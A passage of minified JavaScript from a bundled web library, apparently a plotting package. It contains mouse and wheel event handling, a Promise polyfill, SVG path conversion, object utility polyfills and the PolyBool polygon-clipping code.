l(T){a(0,T)}function u(){(S||d||g||t.shift||t.alt||t.meta||t.control)&&(d=g=0,S=0,t.shift=t.alt=t.control=t.meta=!1,L&&L(0,0,0,t))}function s(T){f(T)&&L&&L(S,d,g,t)}function y(T){M.buttons(T)===0?a(0,T):a(S,T)}function c(T){a(S|M.buttons(T),T)}function b(T){a(S&~M.buttons(T),T)}function h(){r||(r=!0,o.addEventListener("mousemove",y),o.addEventListener("mousedown",c),o.addEventListener("mouseup",b),o.addEventListener("mouseleave",l),o.addEventListener("mouseenter",l),o.addEventListener("mouseout",l),o.addEventListener("mouseover",l),o.addEventListener("blur",u),o.addEventListener("keyup",s),o.addEventListener("keydown",s),o.addEventListener("keypress",s),o!==window&&(window.addEventListener("blur",u),window.addEventListener("keyup",s),window.addEventListener("keydown",s),window.addEventListener("keypress",s)))}function i(){r&&(r=!1,o.removeEventListener("mousemove",y),o.removeEventListener("mousedown",c),o.removeEventListener("mouseup",b),o.removeEventListener("mouseleave",l),o.removeEventListener("mouseenter",l),o.removeEventListener("mouseout",l),o.removeEventListener("mouseover",l),o.removeEventListener("blur",u),o.removeEventListener("keyup",s),o.removeEventListener("keydown",s),o.removeEventListener("keypress",s),o!==window&&(window.removeEventListener("blur",u),window.removeEventListener("keyup",s),window.removeEventListener("keydown",s),window.removeEventListener("keypress",s)))}h();var v={element:o};return Object.defineProperties(v,{enabled:{get:function(){return r},set:function(T){T?h():i()},enumerable:!0},buttons:{get:function(){return S},enumerable:!0},x:{get:function(){return d},enumerable:!0},y:{get:function(){return g},enumerable:!0},mods:{get:function(){return t},enumerable:!0}}),v}},48956:function(te){var Z={left:0,top:0};te.exports=e;function e(P,o,L){o=o||P.currentTarget||P.srcElement,Array.isArray(L)||(L=[0,0]);var S=P.clientX||0,d=P.clientY||0,g=M(o);return L[0]=S-g.left,L[1]=d-g.top,L}function M(P){return P===window||P===document||P===document.body?Z:P.getBoundingClientRect()}},74311:function(te,Z){function e(L){if(typeof L=="object"){if("buttons"in L)return L.buttons;if("which"in L){var S=L.which;if(S===2)return 4;if(S===3)return 2;if(S>0)return 1<<S-1}else if("button"in L){var S=L.button;if(S===1)return 4;if(S===2)return 2;if(S>=0)return 1<<S}}return 0}Z.buttons=e;function M(L){return L.target||L.srcElement||window}Z.element=M;function P(L){if(typeof L=="object"){if("offsetX"in L)return L.offsetX;var S=M(L),d=S.getBoundingClientRect();return L.clientX-d.left}return 0}Z.x=P;function o(L){if(typeof L=="object"){if("offsetY"in L)return L.offsetY;var S=M(L),d=S.getBoundingClientRect();return L.clientY-d.top}return 0}Z.y=o},1195:function(te,Z,e){var M=e(75686);te.exports=P;function P(o,L,S){typeof o=="function"&&(S=!!L,L=o,o=window);var d=M("ex",o),g=function(t){S&&t.preventDefault();var r=t.deltaX||0,f=t.deltaY||0,a=t.deltaZ||0,l=t.deltaMode,u=1;switch(l){case 1:u=d;break;case 2:u=window.innerHeight;break}if(r*=u,f*=u,a*=u,r||f||a)return L(r,f,a,t)};return o.addEventListener("wheel",g),g}},7417:function(te,Z,e){var M;/*! Native Promise Only
    v0.8.1 (c) Kyle Simpson
    MIT License: http://getify.mit-license.org
*/(function(o,L,S){L[o]=L[o]||S(),te.exports?te.exports=L[o]:(M=(function(){return L[o]}).call(Z,e,Z,te),M!==void 0&&(te.exports=M))})("Promise",typeof e.g<"u"?e.g:this,function(){var o,L,S,d=Object.prototype.toString,g=typeof setImmediate<"u"?function(v){return setImmediate(v)}:setTimeout;try{Object.defineProperty({},"x",{}),o=function(v,T,w,E){return Object.defineProperty(v,T,{value:w,writable:!0,configurable:E!==!1})}}catch{o=function(T,w,E){return T[w]=E,T}}S=function(){var v,T,w;function E(p,A){this.fn=p,this.self=A,this.next=void 0}return{add:function(A,m){w=new E(A,m),T?T.next=w:v=w,T=w,w=void 0},drain:function(){var A=v;for(v=T=L=void 0;A;)A.fn.call(A.self),A=A.next}}}();function t(i,v){S.add(i,v),L||(L=g(S.drain))}function r(i){var v,T=typeof i;return i!=null&&(T=="object"||T=="function")&&(v=i.then),typeof v=="function"?v:!1}function f(){for(var i=0;i<this.chain.length;i++)a(this,this.state===1?this.chain[i].success:this.chain[i].failure,this.chain[i]);this.chain.length=0}function a(i,v,T){var w,E;try{v===!1?T.reject(i.msg):(v===!0?w=i.msg:w=v.call(void 0,i.msg),w===T.promise?T.reject(TypeError("Promise-chain cycle")):(E=r(w))?E.call(w,T.resolve,T.reject):T.resolve(w))}catch(p){T.reject(p)}}function l(i){var v,T=this;if(!T.triggered){T.triggered=!0,T.def&&(T=T.def);try{(v=r(i))?t(function(){var w=new y(T);try{v.call(i,function(){l.apply(w,arguments)},function(){u.apply(w,arguments)})}catch(E){u.call(w,E)}}):(T.msg=i,T.state=1,T.chain.length>0&&t(f,T))}catch(w){u.call(new y(T),w)}}}function u(i){var v=this;v.triggered||(v.triggered=!0,v.def&&(v=v.def),v.msg=i,v.state=2,v.chain.length>0&&t(f,v))}function s(i,v,T,w){for(var E=0;E<v.length;E++)(function(A){i.resolve(v[A]).then(function(n){T(A,n)},w)})(E)}function y(i){this.def=i,this.triggered=!1}function c(i){this.promise=i,this.state=0,this.triggered=!1,this.chain=[],this.msg=void 0}function b(i){if(typeof i!="function")throw TypeError("Not a function");if(this.__NPO__!==0)throw TypeError("Not a promise");this.__NPO__=1;var v=new c(this);this.then=function(w,E){var p={success:typeof w=="function"?w:!0,failure:typeof E=="function"?E:!1};return p.promise=new this.constructor(function(m,n){if(typeof m!="function"||typeof n!="function")throw TypeError("Not a function");p.resolve=m,p.reject=n}),v.chain.push(p),v.state!==0&&t(f,v),p.promise},this.catch=function(w){return this.then(void 0,w)};try{i.call(void 0,function(w){l.call(v,w)},function(w){u.call(v,w)})}catch(T){u.call(v,T)}}var h=o({},"constructor",b,!1);return b.prototype=h,o(h,"__NPO__",0,!1),o(b,"resolve",function(v){var T=this;return v&&typeof v=="object"&&v.__NPO__===1?v:new T(function(E,p){if(typeof E!="function"||typeof p!="function")throw TypeError("Not a function");E(v)})}),o(b,"reject",function(v){return new this(function(w,E){if(typeof w!="function"||typeof E!="function")throw TypeError("Not a function");E(v)})}),o(b,"all",function(v){var T=this;return d.call(v)!="[object Array]"?T.reject(TypeError("Not an array")):v.length===0?T.resolve([]):new T(function(E,p){if(typeof E!="function"||typeof p!="function")throw TypeError("Not a function");var A=v.length,m=Array(A),n=0;s(T,v,function(x,I){m[x]=I,++n===A&&E(m)},p)})}),o(b,"race",function(v){var T=this;return d.call(v)!="[object Array]"?T.reject(TypeError("Not an array")):new T(function(E,p){if(typeof E!="function"||typeof p!="function")throw TypeError("Not a function");s(T,v,function(m,n){E(n)},p)})}),b})},18625:function(te){var Z=Math.PI,e=d(120);te.exports=M;function M(g){for(var t,r=[],f=0,a=0,l=0,u=0,s=null,y=null,c=0,b=0,h=0,i=g.length;h<i;h++){var v=g[h],T=v[0];switch(T){case"M":l=v[1],u=v[2];break;case"A":v=L(c,b,v[1],v[2],d(v[3]),v[4],v[5],v[6],v[7]),v.unshift("C"),v.length>7&&(r.push(v.splice(0,7)),v.unshift("C"));break;case"S":var w=c,E=b;(t=="C"||t=="S")&&(w+=w-f,E+=E-a),v=["C",w,E,v[1],v[2],v[3],v[4]];break;case"T":t=="Q"||t=="T"?(s=c*2-s,y=b*2-y):(s=c,y=b),v=o(c,b,s,y,v[1],v[2]);break;case"Q":s=v[1],y=v[2],v=o(c,b,v[1],v[2],v[3],v[4]);break;case"L":v=P(c,b,v[1],v[2]);break;case"H":v=P(c,b,v[1],b);break;case"V":v=P(c,b,c,v[1]);break;case"Z":v=P(c,b,l,u);break}t=T,c=v[v.length-2],b=v[v.length-1],v.length>4?(f=v[v.length-4],a=v[v.length-3]):(f=c,a=b),r.push(v)}return r}function P(g,t,r,f){return["C",g,t,r,f,r,f]}function o(g,t,r,f,a,l){return["C",g/3+.6666666666666666*r,t/3+.6666666666666666*f,a/3+.6666666666666666*r,l/3+.6666666666666666*f,a,l]}function L(g,t,r,f,a,l,u,s,y,c){if(c)m=c[0],n=c[1],p=c[2],A=c[3];else{var b=S(g,t,-a);g=b.x,t=b.y,b=S(s,y,-a),s=b.x,y=b.y;var h=(g-s)/2,i=(t-y)/2,v=h*h/(r*r)+i*i/(f*f);v>1&&(v=Math.sqrt(v),r=v*r,f=v*f);var T=r*r,w=f*f,E=(l==u?-1:1)*Math.sqrt(Math.abs((T*w-T*i*i-w*h*h)/(T*i*i+w*h*h)));E==1/0&&(E=1);var p=E*r*i/f+(g+s)/2,A=E*-f*h/r+(t+y)/2,m=Math.asin(((t-A)/f).toFixed(9)),n=Math.asin(((y-A)/f).toFixed(9));m=g<p?Z-m:m,n=s<p?Z-n:n,m<0&&(m=Z*2+m),n<0&&(n=Z*2+n),u&&m>n&&(m=m-Z*2),!u&&n>m&&(n=n-Z*2)}if(Math.abs(n-m)>e){var C=n,x=s,I=y;n=m+e*(u&&n>m?1:-1),s=p+r*Math.cos(n),y=A+f*Math.sin(n);var k=L(s,y,r,f,a,0,u,x,I,[n,C,p,A])}var B=Math.tan((n-m)/4),_=4/3*r*B,F=4/3*f*B,O=[2*g-(g+_*Math.sin(m)),2*t-(t-F*Math.cos(m)),s+_*Math.sin(n),y-F*Math.cos(n),s,y];if(c)return O;k&&(O=O.concat(k));for(var z=0;z<O.length;){var N=S(O[z],O[z+1],a);O[z++]=N.x,O[z++]=N.y}return O}function S(g,t,r){return{x:g*Math.cos(r)-t*Math.sin(r),y:g*Math.sin(r)+t*Math.cos(r)}}function d(g){return g*(Z/180)}},56131:function(te){/*
object-assign
(c) Sindre Sorhus
@license MIT
*/var Z=Object.getOwnPropertySymbols,e=Object.prototype.hasOwnProperty,M=Object.prototype.propertyIsEnumerable;function P(L){if(L==null)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(L)}function o(){try{if(!Object.assign)return!1;var L=new String("abc");if(L[5]="de",Object.getOwnPropertyNames(L)[0]==="5")return!1;for(var S={},d=0;d<10;d++)S["_"+String.fromCharCode(d)]=d;var g=Object.getOwnPropertyNames(S).map(function(r){return S[r]});if(g.join("")!=="0123456789")return!1;var t={};return"abcdefghijklmnopqrst".split("").forEach(function(r){t[r]=r}),Object.keys(Object.assign({},t)).join("")==="abcdefghijklmnopqrst"}catch{return!1}}te.exports=o()?Object.assign:function(L,S){for(var d,g=P(L),t,r=1;r<arguments.length;r++){d=Object(arguments[r]);for(var f in d)e.call(d,f)&&(g[f]=d[f]);if(Z){t=Z(d);for(var a=0;a<t.length;a++)M.call(d,t[a])&&(g[t[a]]=d[t[a]])}}return g}},65848:function(te){var Z=function(e){return e!==e};te.exports=function(M,P){return M===0&&P===0?1/M===1/P:!!(M===P||Z(M)&&Z(P))}},64003:function(te,Z,e){var M=e(17045),P=e(68222),o=e(65848),L=e(27015),S=e(55572),d=P(L(),Object);M(d,{getPolyfill:L,implementation:o,shim:S}),te.exports=d},27015:function(te,Z,e){var M=e(65848);te.exports=function(){return typeof Object.is=="function"?Object.is:M}},55572:function(te,Z,e){var M=e(27015),P=e(17045);te.exports=function(){var L=M();return P(Object,{is:L},{is:function(){return Object.is!==L}}),L}},99019:function(te,Z,e){var M;if(!Object.keys){var P=Object.prototype.hasOwnProperty,o=Object.prototype.toString,L=e(64178),S=Object.prototype.propertyIsEnumerable,d=!S.call({toString:null},"toString"),g=S.call(function(){},"prototype"),t=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],r=function(u){var s=u.constructor;return s&&s.prototype===u},f={$applicationCache:!0,$console:!0,$external:!0,$frame:!0,$frameElement:!0,$frames:!0,$innerHeight:!0,$innerWidth:!0,$onmozfullscreenchange:!0,$onmozfullscreenerror:!0,$outerHeight:!0,$outerWidth:!0,$pageXOffset:!0,$pageYOffset:!0,$parent:!0,$scrollLeft:!0,$scrollTop:!0,$scrollX:!0,$scrollY:!0,$self:!0,$webkitIndexedDB:!0,$webkitStorageInfo:!0,$window:!0},a=function(){if(typeof window>"u")return!1;for(var u in window)try{if(!f["$"+u]&&P.call(window,u)&&window[u]!==null&&typeof window[u]=="object")try{r(window[u])}catch{return!0}}catch{return!0}return!1}(),l=function(u){if(typeof window>"u"||!a)return r(u);try{return r(u)}catch{return!1}};M=function(s){var y=s!==null&&typeof s=="object",c=o.call(s)==="[object Function]",b=L(s),h=y&&o.call(s)==="[object String]",i=[];if(!y&&!c&&!b)throw new TypeError("Object.keys called on a non-object");var v=g&&c;if(h&&s.length>0&&!P.call(s,0))for(var T=0;T<s.length;++T)i.push(String(T));if(b&&s.length>0)for(var w=0;w<s.length;++w)i.push(String(w));else for(var E in s)!(v&&E==="prototype")&&P.call(s,E)&&i.push(String(E));if(d)for(var p=l(s),A=0;A<t.length;++A)!(p&&t[A]==="constructor")&&P.call(s,t[A])&&i.push(t[A]);return i}}te.exports=M},8709:function(te,Z,e){var M=Array.prototype.slice,P=e(64178),o=Object.keys,L=o?function(g){return o(g)}:e(99019),S=Object.keys;L.shim=function(){if(Object.keys){var g=function(){var t=Object.keys(arguments);return t&&t.length===arguments.length}(1,2);g||(Object.keys=function(r){return P(r)?S(M.call(r)):S(r)})}else Object.keys=L;return Object.keys||L},te.exports=L},64178:function(te){var Z=Object.prototype.toString;te.exports=function(M){var P=Z.call(M),o=P==="[object Arguments]";return o||(o=P!=="[object Array]"&&M!==null&&typeof M=="object"&&typeof M.length=="number"&&M.length>=0&&Z.call(M.callee)==="[object Function]"),o}},88641:function(te){function Z(P,o){if(typeof P!="string")return[P];var L=[P];typeof o=="string"||Array.isArray(o)?o={brackets:o}:o||(o={});var S=o.brackets?Array.isArray(o.brackets)?o.brackets:[o.brackets]:["{}","[]","()"],d=o.escape||"___",g=!!o.flat;S.forEach(function(f){var a=new RegExp(["\\",f[0],"[^\\",f[0],"\\",f[1],"]*\\",f[1]].join("")),l=[];function u(s,y,c){var b=L.push(s.slice(f[0].length,-f[1].length))-1;return l.push(b),d+b+d}L.forEach(function(s,y){for(var c,b=0;s!=c;)if(c=s,s=s.replace(a,u),b++>1e4)throw Error("References have circular dependency. Please, check them.");L[y]=s}),l=l.reverse(),L=L.map(function(s){return l.forEach(function(y){s=s.replace(new RegExp("(\\"+d+y+"\\"+d+")","g"),f[0]+"$1"+f[1])}),s})});var t=new RegExp("\\"+d+"([0-9]+)\\"+d);function r(f,a,l){for(var u=[],s,y=0;s=t.exec(f);){if(y++>1e4)throw Error("Circular references in parenthesis");u.push(f.slice(0,s.index)),u.push(r(a[s[1]],a)),f=f.slice(s.index+s[0].length)}return u.push(f),u}return g?L:r(L[0],L)}function e(P,o){if(o&&o.flat){var L=o&&o.escape||"___",S=P[0],d;if(!S)return"";for(var g=new RegExp("\\"+L+"([0-9]+)\\"+L),t=0;S!=d;){if(t++>1e4)throw Error("Circular references in "+P);d=S,S=S.replace(g,r)}return S}return P.reduce(function f(a,l){return Array.isArray(l)&&(l=l.reduce(f,"")),a+l},"");function r(f,a){if(P[a]==null)throw Error("Reference "+a+"is undefined");return P[a]}}function M(P,o){return Array.isArray(P)?e(P,o):Z(P,o)}M.parse=Z,M.stringify=e,te.exports=M},18863:function(te,Z,e){var M=e(71299);te.exports=P;function P(o){var L;return arguments.length>1&&(o=arguments),typeof o=="string"?o=o.split(/\s/).map(parseFloat):typeof o=="number"&&(o=[o]),o.length&&typeof o[0]=="number"?o.length===1?L={width:o[0],height:o[0],x:0,y:0}:o.length===2?L={width:o[0],height:o[1],x:0,y:0}:L={x:o[0],y:o[1],width:o[2]-o[0]||0,height:o[3]-o[1]||0}:o&&(o=M(o,{left:"x l left Left",top:"y t top Top",width:"w width W Width",height:"h height W Width",bottom:"b bottom Bottom",right:"r right Right"}),L={x:o.left||0,y:o.top||0},o.width==null?o.right?L.width=o.right-L.x:L.width=0:L.width=o.width,o.height==null?o.bottom?L.height=o.bottom-L.y:L.height=0:L.height=o.height),L}},95616:function(te){te.exports=M;var Z={a:7,c:6,h:1,l:2,m:2,q:4,s:4,t:2,v:1,z:0},e=/([astvzqmhlc])([^astvzqmhlc]*)/ig;function M(L){var S=[];return L.replace(e,function(d,g,t){var r=g.toLowerCase();for(t=o(t),r=="m"&&t.length>2&&(S.push([g].concat(t.splice(0,2))),r="l",g=g=="m"?"l":"L");;){if(t.length==Z[r])return t.unshift(g),S.push(t);if(t.length<Z[r])throw new Error("malformed path data");S.push([g].concat(t.splice(0,Z[r])))}}),S}var P=/-?[0-9]*\.?[0-9]+(?:e[-+]?\d+)?/ig;function o(L){var S=L.match(P);return S?S.map(Number):[]}},25677:function(te){te.exports=function(e,M){M||(M=[0,""]),e=String(e);var P=parseFloat(e,10);return M[0]=P,M[1]=e.match(/[\d.\-\+]*\s*(.*)/)[1]||"",M}},9748:function(te,Z,e){var M=e(90386);(function(){var P,o,L,S,d,g;typeof performance<"u"&&performance!==null&&performance.now?te.exports=function(){return performance.now()}:typeof M<"u"&&M!==null&&M.hrtime?(te.exports=function(){return(P()-d)/1e6},o=M.hrtime,P=function(){var t;return t=o(),t[0]*1e9+t[1]},S=P(),g=M.uptime()*1e9,d=S-g):Date.now?(te.exports=function(){return Date.now()-L},L=Date.now()):(te.exports=function(){return new Date().getTime()-L},L=new Date().getTime())}).call(this)},71299:function(te){te.exports=function(P,o,L){var S={},d,g;if(typeof o=="string"&&(o=e(o)),Array.isArray(o)){var t={};for(g=0;g<o.length;g++)t[o[g]]=!0;o=t}for(d in o)o[d]=e(o[d]);var r={};for(d in o){var f=o[d];if(Array.isArray(f))for(g=0;g<f.length;g++){var a=f[g];if(L&&(r[a]=!0),a in P){if(S[d]=P[a],L)for(var l=g;l<f.length;l++)r[f[l]]=!0;break}}else d in P&&(o[d]&&(S[d]=P[d]),L&&(r[d]=!0))}if(L)for(d in P)r[d]||(S[d]=P[d]);return S};var Z={};function e(M){return Z[M]?Z[M]:(typeof M=="string"&&(M=Z[M]=M.split(/\s*,\s*|\s+/)),M)}},38258:function(te){te.exports=function(e,M,P,o){var L=e[0],S=e[1],d=!1;P===void 0&&(P=0),o===void 0&&(o=M.length);for(var g=o-P,t=0,r=g-1;t<g;r=t++){var f=M[t+P][0],a=M[t+P][1],l=M[r+P][0],u=M[r+P][1],s=a>S!=u>S&&L<(l-f)*(S-a)/(u-a)+f;s&&(d=!d)}return d}},52142:function(te,Z,e){/*
 * @copyright 2016 Sean Connelly (@voidqk), http://syntheti.cc
 * @license MIT
 * @preserve Project Home: https://github.com/voidqk/polybooljs
 */var M=e(69444),P=e(29023),o=e(87263),L=e(11328),S=e(55968),d=e(10670),g=!1,t=P(),r;r={buildLog:function(a){return a===!0?g=M():a===!1&&(g=!1),g===!1?!1:g.list},epsilon:function(a){return t.epsilon(a)},segments:function(a){var l=o(!0,t,g);return a.regions.forEach(l.addRegion),{segments:l.calculate(a.inverted),inverted:a.inverted}},combine:function(a,l){var u=o(!1,t,g);return{combined:u.calculate(a.segments,a.inverted,l.segments,l.inverted),inverted1:a.inverted,inverted2:l.inverted}},selectUnion:function(a){return{segments:S.union(a.combined,g),inverted:a.inverted1||a.inverted2}},selectIntersect:function(a){return{segments:S.intersect(a.combined,g),inverted:a.inverted1&&a.inverted2}},selectDifference:function(a){return{segments:S.difference(a.combined,g),inverted:a.inverted1&&!a.inverted2}},selectDifferenceRev:function(a){return{segments:S.differenceRev(a.combined,g),inverted:!a.inverted1&&a.inverted2}},selectXor:function(a){return{segments:S.xor(a.combined,g),inverted:a.inverted1!==a.inverted2}},polygon:function(a){return{regions:L(a.segments,t,g),inverted:a.inverted}},polygonFromGeoJSON:function(a){return d.toPolygon(r,a)},polygonToGeoJSON:function(a){return d.fromPolygon(r,t,a)},union:function(a,l){return f(a,l,r.selectUnion)},intersect:function(a,l){return f(a,l,r.selectIntersect)},difference:function(a,l){return f(a,l,r.selectDifference)},differenceRev:function(a,l){return f(a,l,r.selectDifferenceRev)},xor:function(a,l){return f(a,l,r.selectXor)}};function f(a,l,u){var s=r.segments(a),y=r.segments(l),c=r.combine(s,y),b=u(c);return r.polygon(b)}typeof window=="object"&&(window.PolyBool=r),te.exports=r},69444:function(te){function Z(){var e,M=0,P=!1;function o(L,S){return e.list.push({type:L,data:S?JSON.parse(JSON.stringify(S)):void 0}),e}return e={list:[],segmentId:function(){return M++},checkIntersection:function(L,S){return o("check",{seg1:L,seg2:S})},segmentChop:function(L,S){return o("div_seg",{seg:L,pt:S}),o("chop",{seg:L,pt:S})},statusRemove:function(L){return o("pop_seg",{seg:L})},segmentUpdate:function(L){return o("seg_update",{seg:L})},segmentNew:function(L,S){return o("new_seg",{seg:L,primary:S})},segmentRemove:function(L){return o("rem_seg",{seg:L})},tempStatus:function(L,S,d){return o("temp_status",{seg:L,above:S,below:d})},rewind:function(L){return o("rewind",{seg:L})},status:function(L,S,d){return o("status",{seg:L,above:S,below:d})},vert:function(L){return L===P?e:(P=L,o("vert",{x:L}))},log:function(L){return typeof L!="string"&&(L=JSON.stringify(L,!1,"  ")),o("log",{txt:L})},reset:function(){return o("reset")},selected:function(L){return o("selected",{segs:L})},chainStart:function(L){return o("chain_start",{seg:L})},chainRemoveHead:function(L,S){return o("chain_rem_head",{index:L,pt:S})},chainRemoveTail:function(L,S){return o("chain_rem_tail",{index:L,pt:S})},chainNew:function(L,S){return o("chain_new",{pt1:L,pt2:S})},chainMatch:function(L){return o("chain_match",{index:L})},chainClose:function(L){return o("chain_close",{index:L})},chainAddHead:function(L,S){return o("chain_add_head",{index:L,pt:S})},chainAddTail:function(L,S){return o("chain_add_tail",{index:L,pt:S})},chainConnect:function(L,S){return o("chain_con",{index1:L,index2:S})},chainReverse:function(L){return o("chain_rev",{index:L})},chainJoin:function(L,S){return o("chain_join",{index1:L,index2:S})},done:function(){return o("done")}},e}te.exports=Z},29023:function(te){function Z(e){typeof e!="number"&&(e=1e-10);var M={epsilon:function(P){return typeof P=="number"&&(e=P),e},pointAboveOrOnLine:function(P,o,L){var S=o[0],d=o[1],g=L[0],t=L[1],r=P[0],f=P[1];return(g-S)*(f-d)-(t-d)*(r-S)>=-e},pointBetween:function(P,o,L){var S=P[1]-o[1],d=L[0]-o[0],g=P[0]-o[0],t=L[1]-o[1],r=g*d+S*t;if(r<e)return!1;var f=d*d+t*t;return!(r-f>-e)},pointsSameX:function(P,o){return Math.abs(P[0]-o[0])<e},pointsSameY:function(P,o){return Math.abs(P[1]-o[1])<e},pointsSame:function(P,o){return M.pointsSameX(P,o)&&M.pointsSameY(P,o)},pointsCompare:function(P,o){return M.pointsSameX(P,o)?M.pointsSameY(P,o)?0:P[1]<o[1]?-1:1:P[0]<o[0]?-1:1},pointsCollinear:function(P,o,L){var S=P[0]-o[0],d=P[1]-o[1],g=o[0]-L[0],t=o[1]-L[1];return Math.abs(S*t-g*d)<e},linesIntersect:function(P,o,L,S){var d=o[0]-P[0],g=o[1]-P[1],t=S[0]-L[0],r=S[1]-L[1],f=d*r-g*t;if(Math.abs(f)<e)return!1;var a=P[0]-L[0],l=P[1]-L[1],u=(t*l-r*a)/f,s=(d*l-g*a)/f,y={alongA:0,alongB:0,pt:[P[0]+u*d,P[1]+u*g]};return u<=-e?y.alongA=-2:u<e?y.alongA=-1:u-1<=-e?y.alongA=0:u-1<e?y.alongA=1:y.alongA=2,s<=-e?y.alongB=-2:s<e?y.alongB=-1:s-1<=-e?y.alongB=0:s-1<e?y.alongB=1:y.alongB=2,y},pointInsideRegion:function(P,o){for(var L=P[0],S=P[1],d=o[o.length-1][0],g=o[o.length-1][1],t=!1,r=0;r<o.length;r++){var f=o[r][0],a=o[r][1];a-S>e!=g-S>e&&(d-f)*(S-a)/(g-a)+f-L>e&&(t=!t),d=f,g=a}return t}};return M}te.exports=Z},10670:function(te){var Z={toPolygon:function(e,M){function P(S){if(S.length<=0)return e.segments({inverted:!1,regions:[]});function d(r){var f=r.slice(0,r.length-1);return e.segments({inverted:!1,regions:[f]})}for(var g=d(S[0]),t=1;t<S.length;t++)g=e.selectDifference(e.combine(g,d(S[t])));return g}if(M.type==="Polygon")return e.polygon(P(M.coordinates));if(M.type==="MultiPolygon"){for(var o=e.segments({inverted:!1,regions:[]}),L=0;L<M.coordinates.length;L++)o=e.selectUnion(e.combine(o,P(M.coordinates[L])));return e.polygon(o)}throw new Error("PolyBool: Cannot convert GeoJSON object to PolyBool polygon")},fromPolygon:function(e,M,P){P=e.polygon(e.segments(P));function o(u,s){return M.pointInsideRegion([(u[0][0]+u[1][0])*.5,(u[0][1]+u[1][1])*.5],s)}function L(u){return{region:u,children:[]}}var S=L(null);function d(u,s){for(var y=0;y<u.children.length;y++){var c=u.children[y];if(o(s,c.region)){d(c,s);return}}for(var b=L(s),y=0;y<u.children.length;y++){var c=u.children[y];o(c.region,s)&&(b.children.push(c),u.children.splice(y,1),y--)}u.children.push(b)}for(var g=0;g<P.regions.length;g++){var t=P.regions[g];t.length<3||d(S,t)}function r(u,s){for(var y=0,c=u[u.length-1][0],b=u[u.length-1][1],h=[],i=0;i<u.length;i++){var v=u[i][0],T=u[i][1];h.push([v,T]),y+=T*c-v*b,c=v,b=T}var w=y<0;return w!==s&&h.reverse(),h.push([h[0][0],h[0][1]]),h}var f=[];function a(u){var s=[r(u.region,!1)];f.push(s);for(var y=0;y<u.children.length;y++)s.push(l(u.children[y]))}function l(u){for(var s=0;s<u.children.length;s++)a(u.children[s]);return r(u.region,!0)}for(var g=0;g<S.children.length;g++)a(S.children[g]);return f.length<=0?{type:"Polygon",coordinates:[]}:f.length==1?{type:"Polygon",coordinates:f[0]}:{type:"MultiPolygon",coordinates:f}}};te.exports=Z},87263:function(te,Z,e){var M=e(26859);function P(o,L,S){function d(b,h){return{id:S?S.segmentId():-1,start:b,end:h,myFill:{above:null,below:null},otherFill:null}}function g(b,h,i){return{id:S?S.segmentId():-1,start:b,end:h,myFill:{above:i.myFill.above,below:i.myFill.below},otherFill:null}}var t=M.create();function r(b,h,i,v,T,w){var E=L.pointsCompare(h,T);return E!==0?E:L.pointsSame(i,w)?0:b!==v?b?1:-1:L.pointAboveOrOnLine(i,v?T:w,v?w:T)?1:-1}function f(b,h){t.insertBefore(b,function(i){var v=r(b.isStart,b.pt,h,i.isStart,i.pt,i.other.pt);return v<0})}function a(b,h){var i=M.node({isStart:!0,pt:b.start,seg:b,primary:h,other:null,status:null});return f(i,b.end),i}function l(b,h,i){var v=M.node({isStart:!1,pt:h.end,seg:h,primary:i,other:b,status:null});b.other=v,f(v,b.pt)}function u(b,h){var i=a(b,h);return l(i,b,h),i}function s(b,h){S&&S.segmentChop(b.seg,h),b.other.remove(),b.seg.end=h,b.other.pt=h,f(b.other,b.pt)}function y(b,h){var i=g(h,b.seg.end,b.seg);return s(b,h),u(i,b.primary)}function c(b,h){var i=M.create();function v(_,F){var O=_.seg.start,z=_.seg.end,N=F.seg.start,G=F.seg.end;return L.pointsCollinear(O,N,G)?L.pointsCollinear(z,N,G)||L.pointAboveOrOnLine(z,N,G)?1:-1:L.pointAboveOrOnLine(O,N,G)?1:-1}function T(_){return i.findTransition(function(F){var O=v(_,F.ev);return O>0})}function w(_,F){var O=_.seg,z=F.seg,N=O.start,G=O.end,J=z.start,q=z.end;S&&S.checkIntersection(O,z);var ne=L.linesIntersect(N,G,J,q);if(ne===!1){if(!L.pointsCollinear(N,G,J)||L.pointsSame(N,q)||L.pointsSame(G,J))return!1;var fe=L.pointsSame(N,J),X=L.pointsSame(G,q);if(fe&&X)return F;var W=!fe&&L.pointBetween(N,J,q),V=!X&&L.pointBetween(G,J,q);if(fe)return V?y(F,G):y(_,q),F;W&&(X||(V?y(F,G):y(_,q)),y(F,N))}else ne.alongA===0&&(ne.alongB===-1?y(_,J):ne.alongB===0?y(_,ne.pt):ne.alongB===1&&y(_,q)),ne.alongB===0&&(ne.alongA===-1?y(F,N):ne.alongA===0?y(F,ne.pt):ne.alongA===1&&y(F,G));return!1}for(var E=[];!t.isEmpty();){var p=t.getHead();if(S&&S.vert(p.pt[0]),p.isStart){let _=function(){if(m){var F=w(p,m);if(F)return F}return n?w(p,n):!1};S&&S.segmentNew(p.seg,p.primary);var A=T(p),m=A.before?A.before.ev:null,n=A.after?A.after.ev:null;S&&S.tempStatus(p.seg,m?m.seg:!1,n?n.seg:!1);var C=_();if(C){if(o){var x;p.seg.myFill.below===null?x=!0:x=p.seg.myFill.above!==p.seg.myFill.below,x&&(C.seg.myFill.above=!C.seg.myFill.above)}else C.seg.otherFill=p.seg.myFill;S&&S.segmentUpdate(C.seg),p.other.remove(),p.remove()}if(t.getHead()!==p){S&&S.rewind(p.seg);continue}if(o){var x;p.seg.myFill.below===null?x=!0:x=p.seg.myFill.above!==p.seg.myFill.below,n?p.seg.myFill.below=n.seg.myFill.above:p.seg.myFill.below=b,x?p.seg.myFill.above=!p.seg.myFill.below:p.seg.myFill.above=p.seg.myFill.below}else if(p.seg.otherFill===null){var I;n?p.primary===n.primary?I=n.seg.otherFill.above:I=n.seg.myFill.above:I=p.primary?h:b,p.seg.otherFill={above:I,below:I}}S&&S.status(p.seg,m?m.seg:!1,n?n.seg:!1),p.other.status=A.insert(M.node({ev:p}))}else{var k=p.status;if(k===null)throw new Error("PolyBool: Zero-length segment detected; your epsilon is probably too small or too large");if(i.exists(k.prev)&&i.exists(k.next)&&w(k.prev.ev,k.next.ev),S&&S.statusRemove(k.ev.seg),k.remove(),!p.primary){var B=p.seg.myFill;p.seg.myFill=p.seg.otherFill,p.seg.otherFill=B}E.push(p.seg)}t.getHead().remove()}return S&&S.done(),E}return o?{addRegion:function(b){for(var h,i=b[b.length-1],v=0;v<b.length;v++){h=i,i=b[v];var T=L.pointsCompare(h,i);T!==0&&u(d(T<0?h:i,T<0?i:h),!0)}},calculate:function(b){return 